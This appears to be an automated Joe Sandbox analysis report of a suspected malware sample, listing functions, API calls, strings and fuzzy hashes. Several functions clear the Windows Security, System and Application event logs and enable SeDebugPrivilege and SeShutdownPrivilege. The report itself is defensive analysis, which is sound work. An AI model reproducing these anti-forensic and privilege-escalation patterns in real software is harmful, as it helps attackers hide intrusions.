Opcode Fuzzy Hash: 24aada4ce3280c41e272b614e4f9f9879b9851271430bc6b136f973133d6a926
Instruction Fuzzy Hash: 49816D32251B9186F7449F30E894B9D36BAF344F48F18513DEE494B798CF748A56CB50

Function 000001CFB96146F0 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 159fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

_set_error_mode.LIBCMT ref: 000001CFB9614735
_set_error_mode.LIBCMT ref: 000001CFB9614746
GetModuleFileNameW.KERNEL32 ref: 000001CFB96147A8
GetStdHandle.KERNEL32 ref: 000001CFB96148BD
WriteFile.KERNEL32 ref: 000001CFB961491A

Strings

ceil, xrefs: 000001CFB9614700
Microsoft Visual C++ Runtime Library, xrefs: 000001CFB9614861
..., xrefs: 000001CFB96147FA
<program name unknown>, xrefs: 000001CFB96147B7
Runtime Error!Program: , xrefs: 000001CFB9614775

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: File_set_error_mode$HandleModuleNameWrite
String ID: ...$<program name unknown>$Microsoft Visual C++ Runtime Library$Runtime Error!Program: $ceil
API String ID: 1085760375-2708072404
Opcode ID: d3cf21d439a7a2adc3bf91effe72efd9b1260cb70a201c5d72699df0ac142f71
Instruction ID: f1efd2d9309b10e7e4835f313a778bd9a83b380af7f37859011f568ec837e163
Opcode Fuzzy Hash: d3cf21d439a7a2adc3bf91effe72efd9b1260cb70a201c5d72699df0ac142f71
Instruction Fuzzy Hash: B251BE313806E282FA68DB36E415FDA63B3F785B84F54613E9E5943A95CF38CB078600

Function 000001CFB9615C80 Relevance: 17.2, APIs: 11, Instructions: 726COMMON

Download Yara Rule

APIs

Part of subcall function 000001CFB9612604: _getptd.LIBCMT ref: 000001CFB9612616

_errno.LIBCMT ref: 000001CFB9615CF7
_invalid_parameter_noinfo.LIBCMT ref: 000001CFB9615D02
DecodePointer.KERNEL32 ref: 000001CFB96162BE
DecodePointer.KERNEL32 ref: 000001CFB96162FF
DecodePointer.KERNEL32 ref: 000001CFB9616324
write_multi_char.LIBCMT ref: 000001CFB96163B6
write_multi_char.LIBCMT ref: 000001CFB96163EB
write_char.LIBCMT ref: 000001CFB961643A
write_multi_char.LIBCMT ref: 000001CFB9616492

Part of subcall function 000001CFB96197D0: _errno.LIBCMT ref: 000001CFB96197F4

free.LIBCMT ref: 000001CFB96164B9

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: DecodePointerwrite_multi_char$_errno$_getptd_invalid_parameter_noinfofreewrite_char
String ID:
API String ID: 1806013980-0
Opcode ID: cfc0f20769d45f78b3fd9de320ef9a0baf2bf6926d7d34b006f1c7714b58f06a
Instruction ID: aaac21aae9df307be8a44876ae1270996e3d8fa7f0ddd1a3fb18d3afe32271c9
Opcode Fuzzy Hash: cfc0f20769d45f78b3fd9de320ef9a0baf2bf6926d7d34b006f1c7714b58f06a
Instruction Fuzzy Hash: 9052C27A6446E286FB248B25D440BEE67B3F791784F24603EDE46876D4DB79CE42CB00

Function 000001CFB95C258D Relevance: 15.4, APIs: 10, Instructions: 379COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 000001CFB95C25AF
_invalid_parameter_noinfo.LIBCMT ref: 000001CFB95C25BB
_errno.LIBCMT ref: 000001CFB95C25E5
__tzset.LIBCMT ref: 000001CFB95C2602
_get_daylight.LIBCMT ref: 000001CFB95C260B
_get_daylight.LIBCMT ref: 000001CFB95C261C
_get_daylight.LIBCMT ref: 000001CFB95C262D
_isindst.LIBCMT ref: 000001CFB95C2671
_isindst.LIBCMT ref: 000001CFB95C26C1
__getgmtimebuf.LIBCMT ref: 000001CFB95C28BB

Memory Dump Source

Source File: 00000000.00000002.4112601282.000001CFB95B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB95B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb95b0000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: _get_daylight$_errno_isindst$__getgmtimebuf__tzset_invalid_parameter_noinfo
String ID:
API String ID: 1457502553-0
Opcode ID: 325b46088a9de835a7d5ce3a38d31851d4261e84cad792f7feb37616cf96ba1e
Instruction ID: ca350aab8f257ee2ee3733288ef95e6374d19de80ac53219afdcd57369fe0cf4
Opcode Fuzzy Hash: 325b46088a9de835a7d5ce3a38d31851d4261e84cad792f7feb37616cf96ba1e
Instruction Fuzzy Hash: 5CB19432690A8D4BFB5C9F28C9597E536F2EB64305F44817EE806CA6D6EB34D9428740

Function 000001CFB9612ABC Relevance: 15.3, APIs: 10, Instructions: 255COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 000001CFB9612ADE
_invalid_parameter_noinfo.LIBCMT ref: 000001CFB9612AEA
_errno.LIBCMT ref: 000001CFB9612B14
__tzset.LIBCMT ref: 000001CFB9612B31
_get_daylight.LIBCMT ref: 000001CFB9612B3A
_get_daylight.LIBCMT ref: 000001CFB9612B4B
_get_daylight.LIBCMT ref: 000001CFB9612B5C
_isindst.LIBCMT ref: 000001CFB9612BA0
_isindst.LIBCMT ref: 000001CFB9612BF0
__getgmtimebuf.LIBCMT ref: 000001CFB9612DEA

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: _get_daylight$_errno_isindst$__getgmtimebuf__tzset_invalid_parameter_noinfo
String ID:
API String ID: 1457502553-0
Opcode ID: 900f45e8ab1f3731fdba1d80f80e9cceab6a9df4fb6fddf17bfcd64c6472c285
Instruction ID: ef8499addd71a7e526066376592efc2fa09df07da845fd8e564def6ae47bf337
Opcode Fuzzy Hash: 900f45e8ab1f3731fdba1d80f80e9cceab6a9df4fb6fddf17bfcd64c6472c285
Instruction Fuzzy Hash: AD910CB2B4039647FF689F35D851BD923B7D754784F04A039DE098BB9AEB38DA428700

Function 000001CFB9609240 Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 50COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 000001CFB9609257
OpenProcessToken.ADVAPI32 ref: 000001CFB960926A
LookupPrivilegeValueW.ADVAPI32 ref: 000001CFB9609295
AdjustTokenPrivileges.ADVAPI32 ref: 000001CFB96092B8
GetLastError.KERNEL32 ref: 000001CFB96092BE
CloseHandle.KERNEL32 ref: 000001CFB96092CD
CloseHandle.KERNEL32 ref: 000001CFB96092E8

Strings

SeShutdownPrivilege, xrefs: 000001CFB960927B

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: CloseHandleProcessToken$AdjustCurrentErrorLastLookupOpenPrivilegePrivilegesValue
String ID: SeShutdownPrivilege
API String ID: 3435690185-3733053543
Opcode ID: f6864e8bd37743c0b1b6ab4b1e596388afa61dc228198d856986d243d625baef
Instruction ID: 3d129ef4ed57e1f34cabf9bb4d17bc4f13281e229df35c1b242386b4e737ce1b
Opcode Fuzzy Hash: f6864e8bd37743c0b1b6ab4b1e596388afa61dc228198d856986d243d625baef
Instruction Fuzzy Hash: 46118672664A8182F7509F24F445BDA73B3F798B84F40502AE98E86664DF3CCA46C700

Function 000001CFB961FC80 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 288COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 000001CFB9612604: _getptd.LIBCMT ref: 000001CFB9612616

_errno.LIBCMT ref: 000001CFB961FCD0
_invalid_parameter_noinfo.LIBCMT ref: 000001CFB961FCDA
_errno.LIBCMT ref: 000001CFB961FCFC
_invalid_parameter_noinfo.LIBCMT ref: 000001CFB961FD08
_errno.LIBCMT ref: 000001CFB961FD30
_cftoe_l.LIBCMT ref: 000001CFB961FD74

Strings

gfffffff, xrefs: 000001CFB961FFFF

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: _errno$_invalid_parameter_noinfo$_cftoe_l_getptd
String ID: gfffffff
API String ID: 1282097019-1523873471
Opcode ID: 0c226803b8e2fa94e5db95bc4459b450c41900e638d353238c39c50bb43af646
Instruction ID: 7c0c08d79f61da6733e612557edd829d32f9793d7f0e19f4ace0a6e4f7c4c3e5
Opcode Fuzzy Hash: 0c226803b8e2fa94e5db95bc4459b450c41900e638d353238c39c50bb43af646
Instruction Fuzzy Hash: 53B12E73B443D68AFB518B29C541BE96BB7E712794F24A629CB19077D6E738CE12C300

Function 000001CFB96149D8 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 80COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 000001CFB9614A45
RtlLookupFunctionEntry.KERNEL32 ref: 000001CFB9614A5D
RtlVirtualUnwind.KERNEL32 ref: 000001CFB9614A97
IsDebuggerPresent.KERNEL32 ref: 000001CFB9614ACD
SetUnhandledExceptionFilter.KERNEL32 ref: 000001CFB9614AD7
UnhandledExceptionFilter.KERNEL32 ref: 000001CFB9614AE2

Strings

ceil, xrefs: 000001CFB96149E4

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID: ceil
API String ID: 1239891234-3069211559
Opcode ID: 80bbb357809a8fba14131b5a2509afaeb9666d446d8172d91e1175eae03acc4f
Instruction ID: 1bfc13af19ffc8c93d52e2194ee23575ac81a730eb50cca95d20e99445ece6ae
Opcode Fuzzy Hash: 80bbb357809a8fba14131b5a2509afaeb9666d446d8172d91e1175eae03acc4f
Instruction Fuzzy Hash: 98318532244BD286EB60DF25E840BDE73B6F784754F51112AEA9D47B99DF38CA46CB00

Function 000001CFB96118A0 Relevance: 12.1, APIs: 8, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 000001CFB9613F13
RtlLookupFunctionEntry.KERNEL32 ref: 000001CFB9613F32
RtlVirtualUnwind.KERNEL32 ref: 000001CFB9613F7E
IsDebuggerPresent.KERNEL32 ref: 000001CFB9613FF0
SetUnhandledExceptionFilter.KERNEL32 ref: 000001CFB9614008
UnhandledExceptionFilter.KERNEL32 ref: 000001CFB9614015
GetCurrentProcess.KERNEL32 ref: 000001CFB961402E
TerminateProcess.KERNEL32 ref: 000001CFB961403C

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: ExceptionFilterProcessUnhandled$CaptureContextCurrentDebuggerEntryFunctionLookupPresentTerminateUnwindVirtual
String ID:
API String ID: 3778485334-0
Opcode ID: e5707091450cdb4362a9329fd622a1997c41ddec68d8beddf2dec9729cf8e822
Instruction ID: fd4e1c7949cd368df733336c370458bd5af69639622125821961f2f9c3853120
Opcode Fuzzy Hash: e5707091450cdb4362a9329fd622a1997c41ddec68d8beddf2dec9729cf8e822
Instruction Fuzzy Hash: 9A310235188BC68AFB549B29F844B9A73B3F784754F50503EDA8E42B75DF78CA4A8700

Function 000001CFB95C83B1 Relevance: 10.9, APIs: 7, Instructions: 423COMMONLIBRARYCODE

Download Yara Rule

APIs

_lock.LIBCMT ref: 000001CFB95C83DC
_get_daylight.LIBCMT ref: 000001CFB95C83F2

Part of subcall function 000001CFB95C914D: _errno.LIBCMT ref: 000001CFB95C9156
Part of subcall function 000001CFB95C914D: _invalid_parameter_noinfo.LIBCMT ref: 000001CFB95C9161

_get_daylight.LIBCMT ref: 000001CFB95C8407

Part of subcall function 000001CFB95C90ED: _errno.LIBCMT ref: 000001CFB95C90F6
Part of subcall function 000001CFB95C90ED: _invalid_parameter_noinfo.LIBCMT ref: 000001CFB95C9101

_get_daylight.LIBCMT ref: 000001CFB95C841C

Part of subcall function 000001CFB95C911D: _errno.LIBCMT ref: 000001CFB95C9126
Part of subcall function 000001CFB95C911D: _invalid_parameter_noinfo.LIBCMT ref: 000001CFB95C9131

___lc_codepage_func.LIBCMT ref: 000001CFB95C8429

Part of subcall function 000001CFB95CD2C1: _getptd.LIBCMT ref: 000001CFB95CD2C5

Part of subcall function 000001CFB95CD4B5: __wtomb_environ.LIBCMT ref: 000001CFB95CD4E5

free.LIBCMT ref: 000001CFB95C849A

Part of subcall function 000001CFB95C18D1: _errno.LIBCMT ref: 000001CFB95C18F1

free.LIBCMT ref: 000001CFB95C8503

Memory Dump Source

Source File: 00000000.00000002.4112601282.000001CFB95B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB95B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb95b0000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: _errno$_get_daylight_invalid_parameter_noinfo$free$___lc_codepage_func__wtomb_environ_getptd_lock
String ID:
API String ID: 4268574505-0
Opcode ID: 0b6b600d6584b717979f169697568e8801cbfa89e78e1795e67fb67ce3776999
Instruction ID: 66cd1c23da3f460cf45eec1ce55264379d776cfcde75bac55b125402eb219420
Opcode Fuzzy Hash: 0b6b600d6584b717979f169697568e8801cbfa89e78e1795e67fb67ce3776999
Instruction Fuzzy Hash: 28D1B4322D87855AF768DF28D952BEA77F2FB85700F44453D958AC3A92DB30DD038682

Function 00007FF6F6084118 Relevance: 10.6, APIs: 7, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF6F6084134
RtlCaptureContext.KERNEL32 ref: 00007FF6F6084161
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF6F608417B
RtlVirtualUnwind.KERNEL32 ref: 00007FF6F60841BC
IsDebuggerPresent.KERNEL32 ref: 00007FF6F6084210
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF6F608422D
UnhandledExceptionFilter.KERNEL32 ref: 00007FF6F6084238

Memory Dump Source

Source File: 00000000.00000002.4113640461.00007FF6F6081000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6F6080000, based on PE: true

Associated: 00000000.00000002.4113613717.00007FF6F6080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113640461.00007FF6F6089000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113640461.00007FF6F6362000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113640461.00007FF6F636B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113640461.00007FF6F679E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6f6080000_2IVWAPeiZm.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 241f8705c54542b00ba23ae9e4747f8ac05fcf6eae24842815941e357315b2f7
Instruction ID: ef1ddf99c731a5d98c6dc04dd8cb6f52ff0e540989d959de8f615c21493807c4
Opcode Fuzzy Hash: 241f8705c54542b00ba23ae9e4747f8ac05fcf6eae24842815941e357315b2f7
Instruction Fuzzy Hash: 80313B76608B818AEB60CF60E8503E97364FB94748F54403ADA5D87BA4EF39D548CB04

Function 000001CFB960D17A Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 32COMMON

Download Yara Rule

APIs

OpenEventLogW.ADVAPI32 ref: 000001CFB960D1A7
ClearEventLogW.ADVAPI32 ref: 000001CFB960D1BA
CloseEventLog.ADVAPI32 ref: 000001CFB960D1C3

Strings

Security, xrefs: 000001CFB960D185
System, xrefs: 000001CFB960D190
Application, xrefs: 000001CFB960D17A

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: Event$ClearCloseOpen
String ID: Application$Security$System
API String ID: 1391105993-2169399579
Opcode ID: b127406249773358e5e11b63761867ee48fb052da9e69e9733cc3fafd9c54b4d
Instruction ID: 1b99d139e0b406d410c7f5605c38e253758623a65b8f447828ac818d1d8ea51e
Opcode Fuzzy Hash: b127406249773358e5e11b63761867ee48fb052da9e69e9733cc3fafd9c54b4d
Instruction Fuzzy Hash: 77F06936242B8185FA11AB11F840BD973B6FB487A4F04813ACD8E42758DF38CA96D300

Function 000001CFB9608D60 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 000001CFB9608D73
OpenProcessToken.ADVAPI32 ref: 000001CFB9608D86
LookupPrivilegeValueW.ADVAPI32 ref: 000001CFB9608DB5
AdjustTokenPrivileges.ADVAPI32 ref: 000001CFB9608DFA

Strings

SeDebugPrivilege, xrefs: 000001CFB9608DAC

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: ProcessToken$AdjustCurrentLookupOpenPrivilegePrivilegesValue
String ID: SeDebugPrivilege
API String ID: 2349140579-2896544425
Opcode ID: 321b2cae7bff57a9e89963d77093478fc382e47aaf95b36457d5e0c1824b015c
Instruction ID: cd7d37a75f520ec89a8326c567916f0b2367ed131393b71fedc978334b15b896
Opcode Fuzzy Hash: 321b2cae7bff57a9e89963d77093478fc382e47aaf95b36457d5e0c1824b015c
Instruction Fuzzy Hash: 20112E76644B8182FB509F61F4457CAB3B2F789748F84502AEA8A46659DF7DC50ACB00

Function 000001CFB9603BD0 Relevance: 7.8, APIs: 5, Instructions: 251memorytimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 000001CFB9603C9A
VirtualAlloc.KERNEL32 ref: 000001CFB9603D0F
VirtualFree.KERNEL32 ref: 000001CFB9603D49
VirtualAlloc.KERNEL32 ref: 000001CFB9603EA5
VirtualFree.KERNEL32 ref: 000001CFB9603EDA

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree$Timetime
String ID:
API String ID: 3637049079-0
Opcode ID: 4fa5d4eb8249f7fc5b01871b3ec7c486aed6e35c9c3c858bf8975f25bc673ae4
Instruction ID: f5df11d716ae7dcb9ade83c8cd42fb1dd5b650850d5dbd24fb5725785dd68b40
Opcode Fuzzy Hash: 4fa5d4eb8249f7fc5b01871b3ec7c486aed6e35c9c3c858bf8975f25bc673ae4
Instruction Fuzzy Hash: FDA19D7234068697EB589F29C1C0FA977B3F744B85F40852EDA0A87794DF34DAA2C744

Function 000001CFB9605950 Relevance: 7.8, APIs: 5, Instructions: 250memorytimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 000001CFB9605A28
VirtualAlloc.KERNEL32 ref: 000001CFB9605AA3
VirtualFree.KERNEL32 ref: 000001CFB9605ADD
VirtualAlloc.KERNEL32 ref: 000001CFB9605C47
VirtualFree.KERNEL32 ref: 000001CFB9605C7C

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree$Timetime
String ID:
API String ID: 3637049079-0
Opcode ID: 3f7189f942930bc74d5e75278d5825dc4c3d285d932db17dfbb9ca7332083d22
Instruction ID: 480f7a039366519aaed11bf22db695fdd0189de9f125ebbae91a286717f6cbe9
Opcode Fuzzy Hash: 3f7189f942930bc74d5e75278d5825dc4c3d285d932db17dfbb9ca7332083d22
Instruction Fuzzy Hash: 69A19E3235068687EB589B2AC1D4BAD77B7F744B84F04852EDA0A87784DF34DE92C780

Function 000001CFB9621DB0 Relevance: 5.8, Strings: 4, Instructions: 795COMMONLIBRARYCODE

Download Yara Rule

Strings

1#QNAN, xrefs: 000001CFB9621F4D
1#SNAN, xrefs: 000001CFB9621E9A
1#INF, xrefs: 000001CFB9621F16
1#IND, xrefs: 000001CFB9621EDF

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID:
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 0-2761157908
Opcode ID: 8bd9a9bf164ea3d087f418727a36b5ef1a2b669ae8676b0d11799860c2ff5d1e
Instruction ID: 333361272bc56a8551c70c0d7dbb6a6e998a79019e5fa6ca2a8c06f000ba2576
Opcode Fuzzy Hash: 8bd9a9bf164ea3d087f418727a36b5ef1a2b669ae8676b0d11799860c2ff5d1e
Instruction Fuzzy Hash: 4D62BC77B642928AF729AFA5C010FED37B3B754748F419129DE0567A88EB38CE16C740

Function 000001CFB95C8E1D Relevance: 4.8, APIs: 3, Instructions: 302COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 000001CFB95C8E3E
_invalid_parameter_noinfo.LIBCMT ref: 000001CFB95C8E4A
_errno.LIBCMT ref: 000001CFB95C8E77

Memory Dump Source

Source File: 00000000.00000002.4112601282.000001CFB95B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB95B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb95b0000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: _errno$_invalid_parameter_noinfo
String ID:
API String ID: 2819658684-0
Opcode ID: a26687288d06543ccd96ee82c763caa90d38d7c723e7feccb07240ac6b5fbf04
Instruction ID: f843386d27404f349c4acb2afa058b99226d5a45a2b5361e2131e44310d92d99
Opcode Fuzzy Hash: a26687288d06543ccd96ee82c763caa90d38d7c723e7feccb07240ac6b5fbf04
Instruction Fuzzy Hash: 6581293279484A0BE70C9E2CCD667F436E7E7E8315F18917EE546CBBE6E624D9438200

Function 000001CFB961934C Relevance: 4.7, APIs: 3, Instructions: 207COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 000001CFB961936D
_invalid_parameter_noinfo.LIBCMT ref: 000001CFB9619379
_errno.LIBCMT ref: 000001CFB96193A6

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: _errno$_invalid_parameter_noinfo
String ID:
API String ID: 2819658684-0
Opcode ID: c3817968f48e8c550ddf513603500fb7d5119fb71e6552507bce0a96c1220ba0
Instruction ID: 7989841b41b48479a78d1c58f7014b1f6ee72b725a551d3551b216b5f2a864e9
Opcode Fuzzy Hash: c3817968f48e8c550ddf513603500fb7d5119fb71e6552507bce0a96c1220ba0
Instruction Fuzzy Hash: 81611CB2B1168647EB1C8B19EC11BA85277A3D4744F48D13EEA098F7D5E73CEB028740

Function 000001CFB95BD7F1 Relevance: 4.2, Strings: 3, Instructions: 440COMMON

Download Yara Rule

Strings

gfff, xrefs: 000001CFB95BD8EF
gfff, xrefs: 000001CFB95BD8C9
, xrefs: 000001CFB95BD9BD

Memory Dump Source

Source File: 00000000.00000002.4112601282.000001CFB95B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB95B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb95b0000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: malloc
String ID: $gfff$gfff
API String ID: 2803490479-4202476792
Opcode ID: 7cc1be224e196b4f6ed1a53e46d7184ece0a7e8b7b30a585aeec09b27ae818fa
Instruction ID: 6fb695d7e431bc6859f5cd4fb10ac0727c75fe06be5566b265984550322a4845
Opcode Fuzzy Hash: 7cc1be224e196b4f6ed1a53e46d7184ece0a7e8b7b30a585aeec09b27ae818fa
Instruction Fuzzy Hash: 24E1A370A58A488FEB59EF68D4497A977F2FF59301F10823EE40AD7291EB34D9428781

Function 000001CFB962154C Relevance: 3.6, APIs: 2, Instructions: 613COMMON

Download Yara Rule

APIs

_errno.LIBCMT ref: 000001CFB96215AF
_invalid_parameter_noinfo.LIBCMT ref: 000001CFB96215BA

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: _errno_invalid_parameter_noinfo
String ID:
API String ID: 2959964966-0
Opcode ID: 328f41f7dfe114806a6c44e27ca05faa19419f9d68533c46d440295ddf3d0012
Instruction ID: d10922f5a4ddef119654b215d10a720b718174782068c11b4ad9c0038ce6382b
Opcode Fuzzy Hash: 328f41f7dfe114806a6c44e27ca05faa19419f9d68533c46d440295ddf3d0012
